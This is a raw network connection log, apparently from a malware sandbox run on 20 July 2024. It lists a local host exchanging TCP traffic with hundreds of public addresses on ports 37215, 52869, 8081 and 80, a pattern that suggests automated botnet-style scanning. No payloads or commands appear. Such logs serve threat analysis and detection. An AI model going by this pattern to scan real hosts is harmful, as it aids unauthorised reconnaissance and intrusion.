Jul 20, 2024 23:05:42.965539932 CEST	52869	43695	48.76.62.132	192.168.2.13
Jul 20, 2024 23:05:42.965543032 CEST	37215	44719	41.114.145.26	192.168.2.13
Jul 20, 2024 23:05:42.965543985 CEST	52869	43695	129.209.175.108	192.168.2.13
Jul 20, 2024 23:05:42.965547085 CEST	52869	43695	218.233.190.228	192.168.2.13
Jul 20, 2024 23:05:42.965548038 CEST	52869	43695	106.230.174.14	192.168.2.13
Jul 20, 2024 23:05:42.965548992 CEST	52869	43695	58.208.98.238	192.168.2.13
Jul 20, 2024 23:05:42.965549946 CEST	37215	44719	9.208.243.43	192.168.2.13
Jul 20, 2024 23:05:42.965555906 CEST	37215	44719	197.18.37.228	192.168.2.13
Jul 20, 2024 23:05:42.965557098 CEST	52869	43695	76.100.224.114	192.168.2.13
Jul 20, 2024 23:05:42.965558052 CEST	52869	43695	128.182.131.194	192.168.2.13
Jul 20, 2024 23:05:42.965563059 CEST	52869	43695	184.11.213.53	192.168.2.13
Jul 20, 2024 23:05:42.965565920 CEST	52869	43695	54.2.202.56	192.168.2.13
Jul 20, 2024 23:05:42.965569019 CEST	52869	43695	82.49.166.68	192.168.2.13
Jul 20, 2024 23:05:42.965573072 CEST	52869	43695	36.127.152.84	192.168.2.13
Jul 20, 2024 23:05:42.965574026 CEST	37215	44719	216.6.157.184	192.168.2.13
Jul 20, 2024 23:05:42.965584993 CEST	52869	43695	126.190.17.177	192.168.2.13
Jul 20, 2024 23:05:42.965585947 CEST	52869	43695	80.24.36.106	192.168.2.13
Jul 20, 2024 23:05:42.965586901 CEST	80	21679	95.216.59.26	192.168.2.13
Jul 20, 2024 23:05:42.965590000 CEST	52869	43695	66.78.237.144	192.168.2.13
Jul 20, 2024 23:05:42.965595007 CEST	52869	43695	132.104.105.56	192.168.2.13
Jul 20, 2024 23:05:42.965596914 CEST	37215	44719	41.2.14.96	192.168.2.13
Jul 20, 2024 23:05:42.965604067 CEST	37215	44719	88.120.138.89	192.168.2.13
Jul 20, 2024 23:05:42.965609074 CEST	37215	44719	197.113.127.109	192.168.2.13
Jul 20, 2024 23:05:42.965610027 CEST	52869	43695	2.25.67.139	192.168.2.13
Jul 20, 2024 23:05:42.965610981 CEST	52869	43695	195.195.0.208	192.168.2.13
Jul 20, 2024 23:05:42.965611935 CEST	37215	44719	197.160.52.143	192.168.2.13
Jul 20, 2024 23:05:42.965612888 CEST	37215	44719	157.130.9.228	192.168.2.13
Jul 20, 2024 23:05:42.965617895 CEST	52869	43695	97.82.105.63	192.168.2.13
Jul 20, 2024 23:05:42.965624094 CEST	52869	43695	101.55.215.235	192.168.2.13
Jul 20, 2024 23:05:42.965625048 CEST	52869	43695	63.144.125.115	192.168.2.13
Jul 20, 2024 23:05:42.965626001 CEST	52869	43695	31.219.175.68	192.168.2.13
Jul 20, 2024 23:05:42.965626955 CEST	37215	44719	83.253.161.255	192.168.2.13
Jul 20, 2024 23:05:42.965627909 CEST	52869	43695	177.191.241.43	192.168.2.13
Jul 20, 2024 23:05:42.965629101 CEST	37215	44719	41.205.1.188	192.168.2.13
Jul 20, 2024 23:05:42.965634108 CEST	37215	44719	157.155.244.83	192.168.2.13
Jul 20, 2024 23:05:42.965636969 CEST	52869	43695	154.71.27.238	192.168.2.13
Jul 20, 2024 23:05:42.965639114 CEST	37215	44719	157.178.55.13	192.168.2.13
Jul 20, 2024 23:05:42.965641022 CEST	37215	44719	197.240.248.177	192.168.2.13
Jul 20, 2024 23:05:42.965645075 CEST	52869	43695	202.188.197.110	192.168.2.13
Jul 20, 2024 23:05:42.965646029 CEST	52869	43695	203.193.164.250	192.168.2.13
Jul 20, 2024 23:05:42.965646982 CEST	37215	44719	197.177.152.51	192.168.2.13
Jul 20, 2024 23:05:42.965648890 CEST	8081	43439	68.111.100.67	192.168.2.13
Jul 20, 2024 23:05:42.965653896 CEST	52869	43695	87.112.239.159	192.168.2.13
Jul 20, 2024 23:05:42.965655088 CEST	52869	43695	148.27.235.67	192.168.2.13
Jul 20, 2024 23:05:42.965660095 CEST	52869	43695	52.149.92.238	192.168.2.13
Jul 20, 2024 23:05:42.965667009 CEST	52869	43695	209.21.206.85	192.168.2.13
Jul 20, 2024 23:05:42.965667963 CEST	8081	43439	108.144.210.100	192.168.2.13
Jul 20, 2024 23:05:42.965668917 CEST	52869	43695	176.230.150.16	192.168.2.13
Jul 20, 2024 23:05:42.965691090 CEST	37215	44719	197.227.224.34	192.168.2.13
Jul 20, 2024 23:05:42.965692043 CEST	37215	44719	41.155.39.147	192.168.2.13
Jul 20, 2024 23:05:42.965698004 CEST	52869	43695	159.114.53.103	192.168.2.13
Jul 20, 2024 23:05:42.965698957 CEST	52869	43695	120.145.43.184	192.168.2.13
Jul 20, 2024 23:05:42.965699911 CEST	52869	43695	122.217.85.115	192.168.2.13
Jul 20, 2024 23:05:42.965704918 CEST	52869	43695	156.179.158.121	192.168.2.13
Jul 20, 2024 23:05:42.965707064 CEST	52869	43695	167.89.114.99	192.168.2.13
Jul 20, 2024 23:05:42.965708017 CEST	52869	43695	95.39.133.169	192.168.2.13
Jul 20, 2024 23:05:42.965713024 CEST	37215	44719	157.17.85.100	192.168.2.13
Jul 20, 2024 23:05:42.965714931 CEST	52869	43695	77.105.176.197	192.168.2.13
Jul 20, 2024 23:05:42.965719938 CEST	8081	32884	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:42.965720892 CEST	52869	43695	66.192.200.111	192.168.2.13
Jul 20, 2024 23:05:42.965722084 CEST	52869	43695	8.52.114.212	192.168.2.13
Jul 20, 2024 23:05:42.965723991 CEST	52869	43695	191.27.19.70	192.168.2.13
Jul 20, 2024 23:05:42.965730906 CEST	52869	43695	109.69.158.195	192.168.2.13
Jul 20, 2024 23:05:42.965733051 CEST	37215	44719	197.230.102.6	192.168.2.13
Jul 20, 2024 23:05:42.965734005 CEST	8081	43439	1.113.165.106	192.168.2.13
Jul 20, 2024 23:05:42.965734959 CEST	52869	43695	96.139.124.159	192.168.2.13
Jul 20, 2024 23:05:42.965735912 CEST	52869	43695	89.82.30.26	192.168.2.13
Jul 20, 2024 23:05:42.965737104 CEST	37215	44719	128.45.67.248	192.168.2.13
Jul 20, 2024 23:05:42.965739012 CEST	37215	44719	157.205.95.182	192.168.2.13
Jul 20, 2024 23:05:42.965743065 CEST	37215	44719	157.79.30.96	192.168.2.13
Jul 20, 2024 23:05:42.965744972 CEST	37215	44719	197.35.42.213	192.168.2.13
Jul 20, 2024 23:05:42.965749025 CEST	52869	43695	8.4.36.142	192.168.2.13
Jul 20, 2024 23:05:42.965756893 CEST	52869	43695	34.173.177.129	192.168.2.13
Jul 20, 2024 23:05:42.965758085 CEST	52869	43695	207.108.106.48	192.168.2.13
Jul 20, 2024 23:05:42.965759993 CEST	52869	43695	65.177.254.39	192.168.2.13
Jul 20, 2024 23:05:42.965764999 CEST	52869	43695	203.174.3.79	192.168.2.13
Jul 20, 2024 23:05:42.965765953 CEST	8081	43439	14.253.157.55	192.168.2.13
Jul 20, 2024 23:05:42.965768099 CEST	52869	43695	219.92.122.239	192.168.2.13
Jul 20, 2024 23:05:42.965770006 CEST	52869	43695	59.207.57.16	192.168.2.13
Jul 20, 2024 23:05:42.965771914 CEST	37215	44719	197.188.242.230	192.168.2.13
Jul 20, 2024 23:05:42.965773106 CEST	52869	43695	18.197.57.103	192.168.2.13
Jul 20, 2024 23:05:42.965774059 CEST	52869	43695	200.136.135.115	192.168.2.13
Jul 20, 2024 23:05:42.965775967 CEST	37215	44719	157.10.180.45	192.168.2.13
Jul 20, 2024 23:05:42.965776920 CEST	52869	43695	92.123.90.236	192.168.2.13
Jul 20, 2024 23:05:42.965778112 CEST	52869	43695	107.214.181.57	192.168.2.13
Jul 20, 2024 23:05:42.965779066 CEST	37215	44719	183.59.85.224	192.168.2.13
Jul 20, 2024 23:05:42.965780020 CEST	52869	43695	218.8.199.218	192.168.2.13
Jul 20, 2024 23:05:42.965786934 CEST	37215	44719	41.255.183.29	192.168.2.13
Jul 20, 2024 23:05:42.965787888 CEST	37215	44719	41.216.26.234	192.168.2.13
Jul 20, 2024 23:05:42.965790987 CEST	8081	43439	99.183.133.77	192.168.2.13
Jul 20, 2024 23:05:42.965791941 CEST	52869	43695	126.245.229.137	192.168.2.13
Jul 20, 2024 23:05:42.965792894 CEST	37215	44719	57.99.253.78	192.168.2.13
Jul 20, 2024 23:05:42.965795040 CEST	52869	43695	196.38.58.45	192.168.2.13
Jul 20, 2024 23:05:42.965799093 CEST	37215	44719	157.153.185.166	192.168.2.13
Jul 20, 2024 23:05:42.965801001 CEST	37215	44719	157.227.112.107	192.168.2.13
Jul 20, 2024 23:05:42.965802908 CEST	37215	44719	157.156.21.16	192.168.2.13
Jul 20, 2024 23:05:42.965806007 CEST	52869	43695	38.103.10.41	192.168.2.13
Jul 20, 2024 23:05:42.965811968 CEST	37215	44719	41.127.172.128	192.168.2.13
Jul 20, 2024 23:05:42.965812922 CEST	52869	43695	85.223.177.47	192.168.2.13
Jul 20, 2024 23:05:42.965817928 CEST	37215	44719	197.152.54.186	192.168.2.13
Jul 20, 2024 23:05:42.965818882 CEST	52869	43695	115.63.234.1	192.168.2.13
Jul 20, 2024 23:05:42.965821981 CEST	8081	43439	155.23.58.115	192.168.2.13
Jul 20, 2024 23:05:42.965837955 CEST	37215	44719	202.148.15.48	192.168.2.13
Jul 20, 2024 23:05:42.965838909 CEST	37215	44719	157.59.0.132	192.168.2.13
Jul 20, 2024 23:05:42.965845108 CEST	52869	43695	217.194.245.226	192.168.2.13
Jul 20, 2024 23:05:42.965847015 CEST	37215	44719	41.80.94.82	192.168.2.13
Jul 20, 2024 23:05:42.965847969 CEST	52869	43695	72.238.59.114	192.168.2.13
Jul 20, 2024 23:05:42.965848923 CEST	52869	43695	139.237.162.14	192.168.2.13
Jul 20, 2024 23:05:42.965850115 CEST	37215	44719	64.165.194.79	192.168.2.13
Jul 20, 2024 23:05:42.965853930 CEST	8081	43439	103.57.230.141	192.168.2.13
Jul 20, 2024 23:05:42.965854883 CEST	37215	44719	157.156.112.9	192.168.2.13
Jul 20, 2024 23:05:42.965856075 CEST	52869	43695	61.171.129.68	192.168.2.13
Jul 20, 2024 23:05:42.965857983 CEST	37215	44719	41.119.35.52	192.168.2.13
Jul 20, 2024 23:05:42.965858936 CEST	52869	43695	160.171.80.71	192.168.2.13
Jul 20, 2024 23:05:42.965862036 CEST	52869	43695	70.244.218.60	192.168.2.13
Jul 20, 2024 23:05:42.965862989 CEST	52869	43695	152.248.166.27	192.168.2.13
Jul 20, 2024 23:05:42.965866089 CEST	52869	43695	167.39.179.157	192.168.2.13
Jul 20, 2024 23:05:42.965867043 CEST	37215	44719	197.188.93.254	192.168.2.13
Jul 20, 2024 23:05:42.965871096 CEST	52869	43695	223.84.78.174	192.168.2.13
Jul 20, 2024 23:05:42.965873003 CEST	52869	43695	90.114.150.177	192.168.2.13
Jul 20, 2024 23:05:42.965874910 CEST	37215	44719	142.187.163.247	192.168.2.13
Jul 20, 2024 23:05:42.965877056 CEST	52869	43695	207.157.145.187	192.168.2.13
Jul 20, 2024 23:05:42.965882063 CEST	37215	44719	197.141.236.144	192.168.2.13
Jul 20, 2024 23:05:42.965883970 CEST	8081	43439	130.190.186.230	192.168.2.13
Jul 20, 2024 23:05:42.965890884 CEST	52869	43695	136.11.155.8	192.168.2.13
Jul 20, 2024 23:05:42.965897083 CEST	52869	43695	54.151.32.197	192.168.2.13
Jul 20, 2024 23:05:42.965898037 CEST	37215	44719	157.5.246.151	192.168.2.13
Jul 20, 2024 23:05:42.965899944 CEST	37215	44719	157.36.183.86	192.168.2.13
Jul 20, 2024 23:05:42.965902090 CEST	52869	43695	48.32.125.72	192.168.2.13
Jul 20, 2024 23:05:42.965903044 CEST	37215	44719	123.68.44.135	192.168.2.13
Jul 20, 2024 23:05:42.965903997 CEST	37215	44719	41.1.78.202	192.168.2.13
Jul 20, 2024 23:05:42.965904951 CEST	37215	44719	41.205.147.115	192.168.2.13
Jul 20, 2024 23:05:42.965905905 CEST	52869	43695	18.121.28.212	192.168.2.13
Jul 20, 2024 23:05:42.965910912 CEST	52869	43695	68.248.48.49	192.168.2.13
Jul 20, 2024 23:05:42.965912104 CEST	37215	44719	157.221.151.71	192.168.2.13
Jul 20, 2024 23:05:42.965915918 CEST	37215	44719	41.58.247.186	192.168.2.13
Jul 20, 2024 23:05:42.965917110 CEST	52869	43695	66.26.133.125	192.168.2.13
Jul 20, 2024 23:05:42.965922117 CEST	37215	44719	41.158.169.10	192.168.2.13
Jul 20, 2024 23:05:42.965923071 CEST	37215	44719	41.171.10.129	192.168.2.13
Jul 20, 2024 23:05:42.965924025 CEST	52869	43695	18.248.92.133	192.168.2.13
Jul 20, 2024 23:05:42.965930939 CEST	52869	43695	54.4.235.224	192.168.2.13
Jul 20, 2024 23:05:42.965931892 CEST	52869	43695	27.248.247.21	192.168.2.13
Jul 20, 2024 23:05:42.965934038 CEST	52869	43695	203.78.134.75	192.168.2.13
Jul 20, 2024 23:05:42.965935946 CEST	37215	44719	208.119.172.29	192.168.2.13
Jul 20, 2024 23:05:42.965936899 CEST	8081	43439	196.205.125.141	192.168.2.13
Jul 20, 2024 23:05:42.965941906 CEST	37215	44719	145.130.201.231	192.168.2.13
Jul 20, 2024 23:05:42.965944052 CEST	52869	43695	187.177.170.77	192.168.2.13
Jul 20, 2024 23:05:42.965945005 CEST	52869	43695	93.189.236.124	192.168.2.13
Jul 20, 2024 23:05:42.965945959 CEST	8081	43439	185.214.203.241	192.168.2.13
Jul 20, 2024 23:05:42.965946913 CEST	52869	43695	76.198.183.7	192.168.2.13
Jul 20, 2024 23:05:42.965953112 CEST	37215	44719	197.160.86.174	192.168.2.13
Jul 20, 2024 23:05:42.965955019 CEST	52869	43695	60.243.75.169	192.168.2.13
Jul 20, 2024 23:05:42.965956926 CEST	52869	43695	145.211.248.21	192.168.2.13
Jul 20, 2024 23:05:42.965958118 CEST	37215	44719	157.212.131.188	192.168.2.13
Jul 20, 2024 23:05:42.965962887 CEST	52869	43695	140.66.110.118	192.168.2.13
Jul 20, 2024 23:05:42.965975046 CEST	37215	44719	66.1.65.160	192.168.2.13
Jul 20, 2024 23:05:42.965976954 CEST	8081	43439	25.69.27.108	192.168.2.13
Jul 20, 2024 23:05:42.965982914 CEST	8081	43439	82.61.16.245	192.168.2.13
Jul 20, 2024 23:05:42.965986013 CEST	52869	43695	58.13.141.200	192.168.2.13
Jul 20, 2024 23:05:42.965986967 CEST	8081	43439	99.70.29.112	192.168.2.13
Jul 20, 2024 23:05:42.965987921 CEST	37215	44719	41.188.170.216	192.168.2.13
Jul 20, 2024 23:05:42.965989113 CEST	52869	43695	27.146.217.168	192.168.2.13
Jul 20, 2024 23:05:42.965990067 CEST	52869	43695	138.219.240.186	192.168.2.13
Jul 20, 2024 23:05:42.965991020 CEST	37215	44719	41.158.40.212	192.168.2.13
Jul 20, 2024 23:05:42.965996027 CEST	8081	43439	100.141.37.17	192.168.2.13
Jul 20, 2024 23:05:42.965997934 CEST	52869	43695	89.96.171.25	192.168.2.13
Jul 20, 2024 23:05:42.966001987 CEST	8081	43439	111.106.188.31	192.168.2.13
Jul 20, 2024 23:05:42.966005087 CEST	52869	43695	190.130.47.79	192.168.2.13
Jul 20, 2024 23:05:42.966012001 CEST	52869	43695	187.140.72.191	192.168.2.13
Jul 20, 2024 23:05:42.966012955 CEST	52869	43695	97.78.4.42	192.168.2.13
Jul 20, 2024 23:05:42.966017962 CEST	37215	44719	157.119.115.133	192.168.2.13
Jul 20, 2024 23:05:42.966018915 CEST	52869	43695	9.95.49.135	192.168.2.13
Jul 20, 2024 23:05:42.966021061 CEST	37215	44719	197.212.6.224	192.168.2.13
Jul 20, 2024 23:05:42.966022015 CEST	52869	43695	169.218.43.223	192.168.2.13
Jul 20, 2024 23:05:42.966022015 CEST	52869	43695	182.141.184.224	192.168.2.13
Jul 20, 2024 23:05:42.966022968 CEST	52869	43695	58.46.187.113	192.168.2.13
Jul 20, 2024 23:05:42.966026068 CEST	37215	44719	197.141.221.126	192.168.2.13
Jul 20, 2024 23:05:42.966027021 CEST	37215	44719	95.232.215.63	192.168.2.13
Jul 20, 2024 23:05:42.966027975 CEST	52869	43695	213.179.162.190	192.168.2.13
Jul 20, 2024 23:05:42.966037035 CEST	37215	44719	41.125.83.112	192.168.2.13
Jul 20, 2024 23:05:42.966042995 CEST	52869	43695	82.101.192.156	192.168.2.13
Jul 20, 2024 23:05:42.966044903 CEST	52869	43695	70.184.72.79	192.168.2.13
Jul 20, 2024 23:05:42.966046095 CEST	52869	43695	5.140.107.193	192.168.2.13
Jul 20, 2024 23:05:42.966049910 CEST	8081	46804	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:42.966053009 CEST	52869	43695	17.112.208.233	192.168.2.13
Jul 20, 2024 23:05:42.966059923 CEST	37215	44719	157.191.238.139	192.168.2.13
Jul 20, 2024 23:05:42.966063976 CEST	37215	44719	157.0.108.222	192.168.2.13
Jul 20, 2024 23:05:42.966065884 CEST	52869	43695	182.34.44.124	192.168.2.13
Jul 20, 2024 23:05:42.966070890 CEST	37215	44719	157.36.231.7	192.168.2.13
Jul 20, 2024 23:05:42.966072083 CEST	52869	43695	178.98.181.49	192.168.2.13
Jul 20, 2024 23:05:42.966078043 CEST	52869	43695	145.34.54.47	192.168.2.13
Jul 20, 2024 23:05:42.966078997 CEST	52869	43695	96.132.28.217	192.168.2.13
Jul 20, 2024 23:05:42.966084003 CEST	52869	43695	84.203.138.60	192.168.2.13
Jul 20, 2024 23:05:42.966084957 CEST	52869	43695	198.91.216.39	192.168.2.13
Jul 20, 2024 23:05:42.966090918 CEST	52869	43695	149.4.190.52	192.168.2.13
Jul 20, 2024 23:05:42.966092110 CEST	52869	43695	170.146.93.159	192.168.2.13
Jul 20, 2024 23:05:42.966097116 CEST	52869	43695	211.108.105.81	192.168.2.13
Jul 20, 2024 23:05:42.966099024 CEST	52869	43695	83.233.168.103	192.168.2.13
Jul 20, 2024 23:05:42.966100931 CEST	52869	43695	133.228.0.255	192.168.2.13
Jul 20, 2024 23:05:42.966104984 CEST	52869	43695	59.14.100.158	192.168.2.13
Jul 20, 2024 23:05:42.966105938 CEST	52869	43695	133.245.234.195	192.168.2.13
Jul 20, 2024 23:05:42.966110945 CEST	37215	44719	197.134.53.11	192.168.2.13
Jul 20, 2024 23:05:42.966114044 CEST	8081	43439	12.16.167.142	192.168.2.13
Jul 20, 2024 23:05:42.966119051 CEST	37215	44719	128.243.111.143	192.168.2.13
Jul 20, 2024 23:05:42.966120005 CEST	52869	43695	148.141.121.169	192.168.2.13
Jul 20, 2024 23:05:42.966125011 CEST	52869	43695	179.222.98.13	192.168.2.13
Jul 20, 2024 23:05:42.966126919 CEST	52869	43695	99.146.20.94	192.168.2.13
Jul 20, 2024 23:05:42.966128111 CEST	52869	43695	217.137.94.212	192.168.2.13
Jul 20, 2024 23:05:42.966129065 CEST	8081	43439	141.177.86.101	192.168.2.13
Jul 20, 2024 23:05:42.966133118 CEST	52869	43695	134.183.245.76	192.168.2.13
Jul 20, 2024 23:05:42.966135025 CEST	37215	44719	153.19.68.159	192.168.2.13
Jul 20, 2024 23:05:42.966139078 CEST	8081	43439	120.10.205.153	192.168.2.13
Jul 20, 2024 23:05:42.966150045 CEST	52869	43695	160.138.136.243	192.168.2.13
Jul 20, 2024 23:05:42.966150999 CEST	52869	43695	31.70.55.174	192.168.2.13
Jul 20, 2024 23:05:42.966156960 CEST	37215	44719	197.122.201.28	192.168.2.13
Jul 20, 2024 23:05:42.966160059 CEST	37215	44719	2.248.177.196	192.168.2.13
Jul 20, 2024 23:05:42.966164112 CEST	8081	43439	152.130.118.54	192.168.2.13
Jul 20, 2024 23:05:42.966166019 CEST	8081	48480	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:42.966166973 CEST	52869	43695	57.200.27.16	192.168.2.13
Jul 20, 2024 23:05:42.966167927 CEST	52869	43695	93.111.249.71	192.168.2.13
Jul 20, 2024 23:05:42.966170073 CEST	37215	44719	60.60.230.181	192.168.2.13
Jul 20, 2024 23:05:42.966171026 CEST	52869	43695	173.43.81.14	192.168.2.13
Jul 20, 2024 23:05:42.966176987 CEST	52869	43695	130.15.132.11	192.168.2.13
Jul 20, 2024 23:05:42.966177940 CEST	37215	44719	197.150.148.231	192.168.2.13
Jul 20, 2024 23:05:42.966182947 CEST	8081	43439	206.22.37.87	192.168.2.13
Jul 20, 2024 23:05:42.966183901 CEST	8081	43439	106.148.119.121	192.168.2.13
Jul 20, 2024 23:05:42.966190100 CEST	52869	43695	103.49.145.60	192.168.2.13
Jul 20, 2024 23:05:42.966191053 CEST	80	21679	95.59.222.128	192.168.2.13
Jul 20, 2024 23:05:42.966196060 CEST	37215	44719	171.164.182.99	192.168.2.13
Jul 20, 2024 23:05:42.966197014 CEST	52869	43695	206.40.243.11	192.168.2.13
Jul 20, 2024 23:05:42.966202021 CEST	52869	43695	77.17.166.115	192.168.2.13
Jul 20, 2024 23:05:42.966203928 CEST	52869	43695	169.91.238.87	192.168.2.13
Jul 20, 2024 23:05:42.966209888 CEST	8081	43439	179.109.3.69	192.168.2.13
Jul 20, 2024 23:05:42.966212034 CEST	52869	43695	203.198.173.236	192.168.2.13
Jul 20, 2024 23:05:42.966213942 CEST	52869	43695	19.239.59.212	192.168.2.13
Jul 20, 2024 23:05:42.966217041 CEST	8081	43439	95.35.74.71	192.168.2.13
Jul 20, 2024 23:05:42.966222048 CEST	8081	43439	69.169.245.124	192.168.2.13
Jul 20, 2024 23:05:42.966223001 CEST	37215	44719	157.231.16.246	192.168.2.13
Jul 20, 2024 23:05:42.966224909 CEST	52869	43695	199.162.235.142	192.168.2.13
Jul 20, 2024 23:05:42.966226101 CEST	21679	80	192.168.2.13	95.216.59.26
Jul 20, 2024 23:05:42.966229916 CEST	52869	43695	204.36.181.161	192.168.2.13
Jul 20, 2024 23:05:42.966231108 CEST	8081	43439	71.98.237.227	192.168.2.13
Jul 20, 2024 23:05:42.966236115 CEST	52869	43695	141.210.116.66	192.168.2.13
Jul 20, 2024 23:05:42.966238022 CEST	52869	43695	221.189.93.168	192.168.2.13
Jul 20, 2024 23:05:42.966238976 CEST	52869	43695	45.218.132.156	192.168.2.13
Jul 20, 2024 23:05:42.966239929 CEST	52869	43695	116.34.173.44	192.168.2.13
Jul 20, 2024 23:05:42.966245890 CEST	52869	43695	103.243.7.39	192.168.2.13
Jul 20, 2024 23:05:42.966247082 CEST	8081	43439	69.1.246.87	192.168.2.13
Jul 20, 2024 23:05:42.966248035 CEST	52869	43695	172.118.133.193	192.168.2.13
Jul 20, 2024 23:05:42.966248989 CEST	52869	43695	171.56.186.226	192.168.2.13
Jul 20, 2024 23:05:42.966252089 CEST	52869	43695	203.92.41.121	192.168.2.13
Jul 20, 2024 23:05:42.966257095 CEST	8081	43439	220.78.125.162	192.168.2.13
Jul 20, 2024 23:05:42.966259003 CEST	52869	43695	157.61.107.93	192.168.2.13
Jul 20, 2024 23:05:42.966259956 CEST	8081	43439	50.141.93.124	192.168.2.13
Jul 20, 2024 23:05:42.966260910 CEST	52869	43695	72.122.238.33	192.168.2.13
Jul 20, 2024 23:05:42.966267109 CEST	8081	43439	190.79.60.170	192.168.2.13
Jul 20, 2024 23:05:42.966268063 CEST	52869	43695	42.62.239.222	192.168.2.13
Jul 20, 2024 23:05:42.966272116 CEST	8081	43439	39.105.191.247	192.168.2.13
Jul 20, 2024 23:05:42.966274023 CEST	8081	43439	149.99.178.213	192.168.2.13
Jul 20, 2024 23:05:42.966279984 CEST	52869	43695	179.53.117.226	192.168.2.13
Jul 20, 2024 23:05:42.966280937 CEST	52869	43695	87.7.126.124	192.168.2.13
Jul 20, 2024 23:05:42.966283083 CEST	8081	43439	180.127.15.238	192.168.2.13
Jul 20, 2024 23:05:42.966290951 CEST	8081	43439	112.86.7.178	192.168.2.13
Jul 20, 2024 23:05:42.966296911 CEST	52869	43695	71.52.73.94	192.168.2.13
Jul 20, 2024 23:05:42.966306925 CEST	8081	43439	109.157.195.189	192.168.2.13
Jul 20, 2024 23:05:42.966308117 CEST	8081	43439	80.13.235.196	192.168.2.13
Jul 20, 2024 23:05:42.966315031 CEST	52869	43695	166.149.13.89	192.168.2.13
Jul 20, 2024 23:05:42.966315985 CEST	8081	43439	50.12.161.43	192.168.2.13
Jul 20, 2024 23:05:42.966326952 CEST	52869	43695	142.5.156.44	192.168.2.13
Jul 20, 2024 23:05:42.966327906 CEST	8081	43439	74.70.101.62	192.168.2.13
Jul 20, 2024 23:05:42.966329098 CEST	8081	43439	196.137.185.234	192.168.2.13
Jul 20, 2024 23:05:42.966331959 CEST	8081	43439	113.186.3.19	192.168.2.13
Jul 20, 2024 23:05:42.966336966 CEST	8081	43439	4.65.100.232	192.168.2.13
Jul 20, 2024 23:05:42.966340065 CEST	8081	43439	161.81.165.200	192.168.2.13
Jul 20, 2024 23:05:42.966341019 CEST	8081	43439	20.27.185.208	192.168.2.13
Jul 20, 2024 23:05:42.966345072 CEST	52869	43695	14.10.226.210	192.168.2.13
Jul 20, 2024 23:05:42.966346025 CEST	52869	43695	42.85.52.56	192.168.2.13
Jul 20, 2024 23:05:42.966346979 CEST	8081	43439	173.172.203.100	192.168.2.13
Jul 20, 2024 23:05:42.966347933 CEST	52869	43695	83.8.157.145	192.168.2.13
Jul 20, 2024 23:05:42.966350079 CEST	52869	43695	126.193.54.184	192.168.2.13
Jul 20, 2024 23:05:42.966351032 CEST	52869	43695	13.255.129.209	192.168.2.13
Jul 20, 2024 23:05:42.966352940 CEST	52869	43695	36.41.128.172	192.168.2.13
Jul 20, 2024 23:05:42.966358900 CEST	8081	43439	53.115.43.54	192.168.2.13
Jul 20, 2024 23:05:42.966361046 CEST	8081	43439	131.187.72.75	192.168.2.13
Jul 20, 2024 23:05:42.966367006 CEST	52869	43695	123.58.174.32	192.168.2.13
Jul 20, 2024 23:05:42.966367960 CEST	52869	43695	120.248.227.146	192.168.2.13
Jul 20, 2024 23:05:42.966368914 CEST	8081	43439	79.49.5.36	192.168.2.13
Jul 20, 2024 23:05:42.966370106 CEST	8081	43439	170.212.107.44	192.168.2.13
Jul 20, 2024 23:05:42.966372013 CEST	52869	43695	63.51.207.123	192.168.2.13
Jul 20, 2024 23:05:42.966373920 CEST	8081	43439	168.91.254.103	192.168.2.13
Jul 20, 2024 23:05:42.966375113 CEST	80	21679	95.125.201.25	192.168.2.13
Jul 20, 2024 23:05:42.966376066 CEST	52869	43695	117.149.102.232	192.168.2.13
Jul 20, 2024 23:05:42.966378927 CEST	52869	43695	8.115.233.44	192.168.2.13
Jul 20, 2024 23:05:42.966382027 CEST	52869	43695	70.99.230.158	192.168.2.13
Jul 20, 2024 23:05:42.966387033 CEST	8081	43439	141.116.76.47	192.168.2.13
Jul 20, 2024 23:05:42.966388941 CEST	52869	43695	216.185.149.14	192.168.2.13
Jul 20, 2024 23:05:42.966392040 CEST	52869	43695	186.141.229.186	192.168.2.13
Jul 20, 2024 23:05:42.966392994 CEST	8081	43439	156.157.165.224	192.168.2.13
Jul 20, 2024 23:05:42.966393948 CEST	52869	43695	191.84.106.175	192.168.2.13
Jul 20, 2024 23:05:42.966399908 CEST	52869	43695	71.160.9.77	192.168.2.13
Jul 20, 2024 23:05:42.966407061 CEST	52869	43695	162.148.188.117	192.168.2.13
Jul 20, 2024 23:05:42.966408014 CEST	52869	43695	65.254.21.56	192.168.2.13
Jul 20, 2024 23:05:42.966409922 CEST	8081	43439	112.228.235.189	192.168.2.13
Jul 20, 2024 23:05:42.966411114 CEST	52869	43695	12.12.122.183	192.168.2.13
Jul 20, 2024 23:05:42.966413021 CEST	52869	43695	195.214.211.145	192.168.2.13
Jul 20, 2024 23:05:42.966414928 CEST	52869	43695	36.34.17.225	192.168.2.13
Jul 20, 2024 23:05:42.966415882 CEST	52869	43695	104.141.140.56	192.168.2.13
Jul 20, 2024 23:05:42.966417074 CEST	52869	43695	194.243.241.228	192.168.2.13
Jul 20, 2024 23:05:42.966422081 CEST	52869	43695	84.9.32.205	192.168.2.13
Jul 20, 2024 23:05:42.966423988 CEST	52869	43695	12.74.148.91	192.168.2.13
Jul 20, 2024 23:05:42.966424942 CEST	8081	43439	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:42.966546059 CEST	44719	37215	192.168.2.13	197.95.153.232
Jul 20, 2024 23:05:42.966546059 CEST	43695	52869	192.168.2.13	141.105.184.73
Jul 20, 2024 23:05:42.966546059 CEST	43695	52869	192.168.2.13	111.170.120.110
Jul 20, 2024 23:05:42.966546059 CEST	43695	52869	192.168.2.13	61.176.42.208
Jul 20, 2024 23:05:42.966546059 CEST	43439	8081	192.168.2.13	133.186.10.243
Jul 20, 2024 23:05:42.966546059 CEST	43439	8081	192.168.2.13	113.135.5.178
Jul 20, 2024 23:05:42.966907978 CEST	44719	37215	192.168.2.13	197.154.101.78
Jul 20, 2024 23:05:42.966907978 CEST	43439	8081	192.168.2.13	88.130.134.141
Jul 20, 2024 23:05:42.966907978 CEST	43439	8081	192.168.2.13	133.117.5.135
Jul 20, 2024 23:05:42.966907978 CEST	43439	8081	192.168.2.13	97.164.13.210
Jul 20, 2024 23:05:42.966907978 CEST	43439	8081	192.168.2.13	165.155.156.73
Jul 20, 2024 23:05:42.966907978 CEST	43439	8081	192.168.2.13	43.107.9.138
Jul 20, 2024 23:05:42.966907978 CEST	43695	52869	192.168.2.13	120.233.134.82
Jul 20, 2024 23:05:42.967356920 CEST	43439	8081	192.168.2.13	208.41.47.11
Jul 20, 2024 23:05:42.967356920 CEST	43695	52869	192.168.2.13	179.69.131.26
